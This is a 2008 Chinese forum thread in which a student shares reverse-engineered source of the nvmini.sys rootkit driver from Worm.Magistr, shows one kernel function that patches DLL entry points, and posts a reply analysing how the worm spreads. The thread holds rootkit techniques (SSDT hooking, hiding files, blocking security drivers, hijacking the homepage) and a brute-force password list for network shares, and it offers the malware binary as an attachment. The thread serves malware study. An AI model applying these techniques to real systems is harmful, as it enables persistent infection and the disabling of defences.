首页
论坛
课程
招聘
[原创]逆向病毒nvmini.sys--编译通过--源码
2008-3-9 09:47 32351

[原创]逆向病毒nvmini.sys--编译通过--源码

2008-3-9 09:47
32351
/*******************************************************************************************
* Module : nvmini.c
*
* Author : sudami [[EMAIL="sudami@163.com"]sudami@163.com[/EMAIL]]
* Time : 08/02/28
*
* Comment:
* 去年月份强悍的“马吉斯(Worm.Magistr)”病毒浓妆艳抹的登场,MS很强大。
* 过去这么长时间了,初学逆向,俺作为后来者就试着分析了下它的sys.于是就有了
* 这份简陋的code. 逆的很菜,老鸟飘过了=。=|
*
* 发现很多部分作者都是参考别人的code,然后A过来用的.所以这里同样在一些方面
* A了agony's some code. 嘿嘿
*
* ---- nvmini.sys的大致流程如下----
*
* 1.> 通过替换SDT 的中的函数地址挂钩ZwSaveKey、ZwQueryDirectoryFile、ZwClose、
* ZwEnumerateKey、ZwLoadDriver、ZwDeleteValueKey、ZwDeleteKey来保护病毒的
* 注册表键值不被发现和修改,隐藏病毒文件(boot.exe, linkinfo.dll, nvmini.sys),
* 隐藏服务以及禁止一些安全软件的驱动加载,eg: IS(俺为了试验,多加了几个)
*
* 2.> 和应用层通信-- 创建一个名为DL5CEvent 的设备,用户进程可通过ioctl = 25270860
* 来获得最后一个创建进程的进程ID(通过调用PsSetCreateProcessNotifyRoutine 得到)
* 此前用户层中已经通过OpenEvent打开了该对象,一直静静的等待着对象变成“受信”状态;
* 而在驱动里,ProcessCreateMon中一旦检测到新进程的创建就设置该对象为“受信”状态,
* 于是用户层就高兴的发送ioctl = 25270860到驱动中,让buffer里面满载刚创建的进程ID号
* 顺利的回到用户层。这样就/实现了R3中一个线程对新创建的进程的监视,一旦符合规则,
* 就禁止创建,或kill 掉. (俺没写R3的部分,所以就此略掉了,不过R0的代码中还保留)
*
* 3.> 通过PsSetLoadImageNotifyRoutine 设置映像加载通知.禁止部分病毒DLL的加载,即
* 修改物理内存修改模块入口是这些模块返回失败,无法成功加载.
*
* 4.> 1个系统线程不断回写注册表的服务项.很暴力,不过hook一些更底层的操作注册表的函数
* ObXXXX之类的,就可以防止了; 注册一个DPC回调函数不断检查SSDT,保护自己的hook(由于俺
* 在调试时,一用KeSetTimerEx就会蓝,和IRQL有关,所以换用系统线程来实现,功能类似,
* ,保留DPC部分代码)
*
* 5.> 俺为了调试方便,加了一个修改IE首页,和piaoxue的驱动类型,就是暴力的回写注册表,很低级~~~
*
* btw: 病毒的作者好像是hackbase的XXXXXXXXXX,很强悍的一个驱动大牛,MS做病毒赚了不少银子.
* 不过作者的主要精力可能不在驱动上,nvmini.sys做的一般,没有用到太多的猥亵手法,比
* 如检测进程等完全不需要和R3通讯,直接在驱动中用一个线程,加个回掉函数,然后投递APC,
* 杀线程即可,HOOK SSDT等用烂的手段确实也太科普, 文件隐藏,注册表等都是很扫盲的手法,
* 可能作者没考虑太多吧.
*
* ---- 后记----
* 断断续续的逆nvmini.sys有一大会儿,可没有用F5,深感没有F5的艰难~
* 由于大3了,压力很大,专业的原因,也没多少业余时间来学内核,所以逆的很粗糙,不过功能都大致实现了.
* 还忘各位大牛海涵,见笑啦~ o(*.*)0
*
* PS;
* 为了防止被坏人A过去干坏事,已经把部分code做了相应的更改和删除, 不过有心学习的完全可以补起来~
* 编译完的驱动无壳,也可直接F5看看效果~~~
*
*********************************************************************************************/


代码风格如下:

//
VOID
MyLoadImageRoutine(
IN PUNICODE_STRING ImageName,
IN HANDLE ProcessId,
IN PIMAGE_INFO ImageInfo
)
/*++

逆向: sudami 08/03/05

功能:
在这个模块通知回调函数中进行过滤。若是病毒DLL加载,则修改其DLL的前字节
使其直接失效.

--*/
{
BOOL bFind;
ULONG Length;
WCHAR Name[300];
PEPROCESS proc;
PVOID pImageBase;
SIZE_T dwSize;
PVOID pOEP;
KIRQL oldIrql;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nth;
PIMAGE_OPTIONAL_HEADER poh;
PHYSICAL_ADDRESS physicalAddress;

if (ImageName == NULL) {
return;
}

Length = ImageName->Length;
if ((Length == 0) || (ImageName->Buffer == NULL)) {
return;
}

bFind = FALSE;
RtlCopyMemory(Name , ImageName->Buffer, ImageName->MaximumLength );
_wcsupr(Name);

//
// 原IDB中申明了一个结构体(全局变量),其中每个DLL名字后面紧跟着的是一个到的数字。
// 0表明是在SYSTEM32 目录下
// 1表明是在WINDOWS目录下
// 2表明是在COMMON FILES目录下
// 3表明无论在哪都是病毒的DLL
// 偶这里简化了一下,效果一样
// -- sudami 08/03/08
//
if ( ( (wcsstr( Name, L"DLLWM.DLL" ) != NULL) && (wcsstr( Name, L"SYSTEM32" ) != NULL) ) ||
( (wcsstr( Name, L"WININFO.RXK" ) != NULL) && (wcsstr( Name, L"COMMON FILES" ) != NULL) ) ||
( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINDOWS" ) != NULL) ) ||
( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINNT" ) != NULL) ) ||
(wcsstr( Name, L"WINDHCP.DLL" ) != NULL) ||
(wcsstr( Name, L"DLLHOSTS.DLL" ) != NULL) ||
(wcsstr( Name, L"NOTEPAD.DLL" ) != NULL) ||
(wcsstr( Name, L"RPCS.DLL" ) != NULL) ||
(wcsstr( Name, L"RDSHOST.DLL" ) != NULL) ||
(wcsstr( Name, L"LGSYM.DLL" ) != NULL) ||
(wcsstr( Name, L"RUND11.DLL" ) != NULL) ||
(wcsstr( Name, L"MDDDSCCRT.DLL" ) != NULL) ||
(wcsstr( Name, L"WSVBS.DLL" ) != NULL) ||
(wcsstr( Name, L"CMDBCS.DLL" ) != NULL) ||
(wcsstr( Name, L"UPXDHND.DLL" ) != NULL) ||
(wcsstr( Name, L"RDFHOST.DLL" ) != NULL) ||
(wcsstr( Name, L"safe" ) != NULL) ||
(wcsstr( Name, L"anti" ) != NULL) ) {
bFind = TRUE;
}

if ( bFind == FALSE ) {
return;
}

if( !NT_SUCCESS(PsLookupProcessByProcessId( ProcessId, &proc )) ) {
return;
}

KeAttachProcess (proc); // 附着到此进程

pImageBase = ImageInfo->ImageBase;
dwSize = ImageInfo->ImageSize;

try { // 确保地址的正确性
ProbeForRead( pImageBase, dwSize, sizeof(UCHAR));
} except(EXCEPTION_EXECUTE_HANDLER) {
return;
}

// 得到程序入口地址
dos = (PIMAGE_DOS_HEADER) pImageBase;
nth = (PIMAGE_NT_HEADERS) (dos->e_lfanew + (char *)pImageBase);
poh = (PIMAGE_OPTIONAL_HEADER) &nth->OptionalHeader;

if( (dos->e_magic != 0x5a4d) || (nth->Signature != 0x00004550) ) {// "MZ" "PE\0\0"
return;
}

pOEP = (PVOID)( poh->AddressOfEntryPoint + (char *)pImageBase );
physicalAddress = MmGetPhysicalAddress( pOEP );

ProbeForWrite ( pOEP, 5, sizeof(CHAR));

// 修改其前字节的内容,使其失效
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();

RtlCopyMemory ( (BYTE*)pOEP, g_Code, 5 );

KeLowerIrql(oldIrql);
WPON();

KeDetachProcess();
}

-----------------------------------------------------------------
驱动加载后的效果:

1. IE首页被改写为 http://hi.baidu.com/sudami,5ms回写一次.普通电脑用户无法修复
2. SSDT被反复hook,5ms回写一次,隐藏了nvmini.sys和autorun.inf等文件
3. 反复回写驱动服务项, 普通用户无法更改和删除
4. 监视病毒模块的加载,禁止之, 监视进程的创建,可在dbgview中观察, 禁止IS,RKU,GMER,SnipeSword等驱动的加载

本来还打算加个驱动文件占炕,和投递APC杀指定程序的线程的,想想这跟做病毒没什么区别的了,研究研究就可以了,

因为病毒已经过去很长时间,用的技术都比较老,所以实际意义不大,就当扫盲了吧~
附件是code 和 nvmini.idb 、和原版nvmini.sys

[2023春季班]《安卓高级研修班(网课)》月薪两万班招生中~

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (34)
雪    币: 10169
活跃值: 活跃值 (13001)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 活跃值 8 2008-3-9 09:55
2
0
用驱动的病毒很可怕,还好有sudami
雪    币: 463
活跃值: 活跃值 (1136)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2008-3-9 10:07
3
0
嘿嘿,感谢kanxue老大~~
-------------------------------------
下面是病毒的完整症状:

病毒名称: Worm.Magistr.g

病毒是由C语言编写的感染型病毒,感染后缀名为EXE的32位PE可执行程序,病毒源的大小为40KB。

病毒源文件为boot.exe,由用户从U盘上提取。

病毒源文件流程:

boot.exe运行后检查自己是否在驱动器根目录下,如不是退出。

检查是否存在"C:\WINNT\linkinfo.dll",如果不存在则建立该文件。
检查驱动文件是否存在,如不存在则生成驱动文件%SystemRoot%\system32\drivers\IsDrv118.sys(加载后删除),并调用ZwSetSystemInformation加载驱动。

装载该dll,然后查找病毒调用序号为101的导出函数。

DLL流程:

DLL被装载时:

1、获得系统sfc.dll中的SfcIsFileProtected函数地址,以便在感染时调用以防止感染受系统保护的文件。
2、获取系统的linkinfo.dll(%system32%目录下)的下列导出函数,使自己导出的同名函数指向正常的linkinfo.dll中正确的函数,以便转接这些函数。

ResolveLinkInfoW
ResolveLinkInfoA
IsValidLinkInfo
GetLinkInfoData
GetCanonicalPathInfoW
GetCanonicalPathInfoA
DisconnectLinkInfo
DestroyLinkInfo
CreateLinkInfoW
CreateLinkInfoA
CompareLinkInfoVolumes
CompareLinkInfoReferents

3、检查自己是否在explorer.exe进程中,如不是则启动病毒主线程。

4、启动病毒主线程

病毒首先通过VMWare后门指令检查是否是在VMWare下运行,如果是直接重启机器,以此来防止自己在虚拟机中被运行。

生成名称为"PNP#DMUTEX#1#DL5"的互斥量,以保证只有一个实例在运行。

然后开始启动各工作线程

5、工作线程1(生成窗口和消息循环)

生成隐藏的窗口和消息循环,并通过调用RegisterDeviceNotificationA注册设备通知消息,当发现插入可移动磁盘时,向可移动磁盘写入病毒源boot.exe。

6、工作线程2(遍历并感染所有磁盘)

从"C:\"开始感染所有磁盘中后缀名为"exe"的文件。

病毒在感染时,不感染"QQ"、"winnt"和"windows"目录下的程序文件,并通过调用SfcIsFileProtected来检查是否为系统文件,如是则不感染。
同时,病毒不感染以下程序:

wooolcfg.exe
woool.exe
ztconfig.exe
patchupdate.exe
trojankiller.exe
xy2player.exe
flyff.exe
xy2.exe
大话西游.exe
au_unins_web.exe
cabal.exe
cabalmain9x.exe
cabalmain.exe
meteor.exe
patcher.exe
mjonline.exe
config.exe
zuonline.exe
userpic.exe
main.exe
dk2.exe
autoupdate.exe
dbfsupdate.exe
asktao.exe
sealspeed.exe
xlqy2.exe
game.exe
wb-service.exe
nbt-dragonraja2006.exe
dragonraja.exe
mhclient-connect.exe
hs.exe
mts.exe
gc.exe
zfs.exe
neuz.exe
maplestory.exe
nsstarter.exe
nmcosrv.exe
ca.exe
nmservice.exe
kartrider.exe
audition.exe
zhengtu.exe

7、工作线程3(禁止其它病毒、破坏卡卡助手和感染网络)

枚举进程,如果进程的程序文件名(包括目录)是如下程序(常见的病毒程序),将终止该进程

realschd.exe
cmdbcs.exe
wsvbs.exe
msdccrt.exe
run1132.exe
sysload3.exe
tempicon.exe
sysbmw.exe
rpcs.exe
msvce32.exe
rundl132.exe
svhost32.exe
smss.exe
lsass.exe
internat.exe
explorer.exe
ctmontv.exe
iexplore.exe
ncscv32.exe
spo0lsv.exe
wdfmgr32.exe
upxdnd.exe
ssopure.exe
iexpl0re.exe
c0nime.exe
svch0st.exe
nvscv32.exe
spoclsv.exe
fuckjacks.exe
logo_1.exe
logo1_.exe
lying.exe
sxs.exe

病毒通过修改卡卡助手的驱动"%system32%\drivers\RsBoot.sys"入口,使该驱动在加载时失败。

枚举网络资源,并尝试对网络资源中的文件进行感染。

枚举并尝试向局域网中计算机的隐藏共享文件夹"%s\\IPC$"、"C$"等写入名称为"setup.exe"的病毒源文件,尝试连接时使用"Administrator"作为用户名,并使用下列密码尝试。

password1
monkey
password
abc123
qwerty
letmein
root
mypass123
owner
test123
love
admin123
qwer
mailto:!@#$^&*()
mailto:!@#$^&*(
mailto:!@#$^&*
mailto:!@#$^&
mailto:!@#$^
mailto:!@#$
asdfgh
asdf
!@#$
654321
123456789
12345
admin

8、工作线程4(修改host文件并下载)
备份host文件为host.txt,并下载文件代替。
查找系统html文件的关联程序,启动并注入dll以便穿过防火墙的拦截。
尝试连接以下地址并下载文件
http://top.cn372*****rg/c.asp
http://top.cn37****rg/top.dat


9、工作线程5(监视并禁止其它病毒)

通过调用驱动获得新生成的进程,如果进程的文件是指定程序(见工作线程3),终止该进程


驱动:

该驱动加载后首先通过替换 SDT 的中的函数地址挂钩
ZwSaveKey
ZwQueryDirectoryFile
ZwClose
ZwEnumerateKey
ZwLoadDriver
...
等 API 来保护病毒的注册表键值不被发现和修改,并隐藏病毒文件(boot.exe, linkinfo.dll, nvmini.sys等),
以及禁止一些安全软件的驱动加载。

然后,驱动创建一个名为 DL5CProc 的设备。用户进程可以通过 ioctl = 25270860 来获得最后一个创建进程的进程 ID。
这个进程 ID 是通过调用 PsSetCreateProcessNotifyRoutine 得到的通知获得。

该驱动还会通过 PsSetLoadImageNotifyRoutine 设置映像加载通知,如果加载的映像文件在以下子目录中:
COMMON FILES, WINDOWS\SYSTEM32, WINNT\SYSTEM32
并且名为:
DLLWM.DLL
WININFO.RXK
RICHDLL.DLL
WINDHCP.DLL
DLLHOSTS.DLL
NOTEPAD.DLL
RPCS.DLL
RDIHOST.DLL
RDFHOST.DLL
RDSHOST.DLL
LGSYM.DLL
RUND11.DLL
MDDDSCCRT.DLL
WSVBS.DLL
CMDBCS.DLL
UPXDHND.DLL
该驱动会通过修改物理内存修改模块入口是这些模块返回失败,无法成功加载。这些动态库多是一些盗密码的
病毒以及Worm.Viking的动态库,所以被 Magister 感染的系统不会再感染这些病毒。

被感染的文件:

病毒感染文件时,会将原文件最后一个节增大,将病毒代码写入被感染文件的代码节,修改入口点指向病毒代码并保存原来的入口点地址,然后将被覆盖的原来文件的代码、病毒的dll、sys文件压缩保存在文件最后一个节中增大的地方。被感染的文件运行时,病毒代码先被运行,释放C:\WINNT\linkinfo.dll和%SystemRoot%\system32\drivers\IsDrv118.sys并加载,然后调用linkinfo.dll的序号为101的函数。病毒代码最后会恢复原文件被覆盖的代码并跳回原文件的入口开始运行原来的文件。



雪    币: 100
活跃值: 活跃值 (49)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
NWMonster 活跃值 1 2008-3-9 10:46
4
0
很强,正是我需要的。呵呵,学习了。
雪    币: 232
活跃值: 活跃值 (12)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
firefly 活跃值 4 2008-3-9 10:52
5
0
强悍啊,学习了。
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
littlefang 活跃值 2008-3-9 11:58
6
0
好厉害的病毒,谢谢楼主,学习了。
雪    币: 1470
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
bithaha 活跃值 5 2008-3-9 12:10
7
0
强悍 学习
雪    币: 500
活跃值: 活跃值 (47)
能力值: ( LV12,RANK:441 )
在线值:
发帖
回帖
粉丝
yangjt 活跃值 10 2008-3-9 12:26
8
0
很好很强大……驱动看得我天花乱坠的……
雪    币: 432
活跃值: 活跃值 (1047)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
xss 活跃值 4 2008-3-9 12:29
9
0
再学习一下最近的磁带机病毒就更可怕了
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
HereInSide 活跃值 2008-3-9 13:13
10
0
5ms? 不是说clock int是55ms一次么?
雪    币: 454
活跃值: 活跃值 (17)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
dttom 活跃值 3 2008-3-9 20:33
11
0
设置成5ms,实际应该是55ms执行一次吧
雪    币: 110
活跃值: 活跃值 (259)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-3-9 22:34
12
0
不错,向大牛学习
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
iFei 活跃值 2008-3-9 22:56
13
0
这东西好深傲啊,,不知道,我什么时候能学会啊
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
winnet 活跃值 2008-3-9 23:41
14
0
强.,学习中
雪    币: 235
活跃值: 活跃值 (10)
能力值: ( LV12,RANK:460 )
在线值:
发帖
回帖
粉丝
火影 活跃值 11 2008-3-10 21:32
15
0
大三!年轻,有为......
可惜我已经快30的人了
雪    币: 199
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
一个穷光蛋 活跃值 2008-3-11 10:40
16
0
与熊猫相比,还多了一个驱动,变态的病毒,变态的作者.
雪    币: 243
活跃值: 活跃值 (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
amour 活跃值 2008-3-17 21:37
17
0
大三
雪    币: 146
活跃值: 活跃值 (65)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
icefall 活跃值 1 2008-3-30 09:11
18
0
1个系统线程不断回写注册表的服务项.很暴力,不过hook一些更底层的操作注册表的函数
* ObXXXX之类的,就可以防止了;
为什么如此暴力的重复回写方法杀毒软件都抗衡不了呢?我机器上的sde41.sys就一直未能清除,有没有什么简单的方法干掉它呢?
雪    币: 230
活跃值: 活跃值 (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
honffx 活跃值 2008-3-30 19:04
19
0
厉害~!厉害~!厉害~!
雪    币: 61
活跃值: 活跃值 (1035)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
Nisy 活跃值 5 2008-3-30 19:27
20
0
由于大3了,压力很大,专业的原因,也没多少业余时间来学内核,所以逆的很粗糙,不过功能都大致实现了.

强悍! 多多向兄弟学习了~
雪    币: 210
活跃值: 活跃值 (16)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
zhoujiamur 活跃值 1 2008-4-18 10:51
21
0
如果中国的大学生都像你这样,中国真的就牛了,我也该下岗了
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wxjwlj 活跃值 2008-5-6 01:59
22
0
不错,努力学习中。谢谢
雪    币: 127
活跃值: 活跃值 (22)
能力值: ( LV9,RANK:550 )
在线值:
发帖
回帖
粉丝
laowanghai 活跃值 13 2008-5-13 20:57
23
0
强.,学习中!!
雪    币: 219
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
antnts 活跃值 2008-5-15 16:45
24
0
年龄不是距离。。。。
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
PSj 活跃值 2008-5-15 19:58
25
0
羡慕啊。。。。。我
游客
登录 | 注册 方可回帖
返回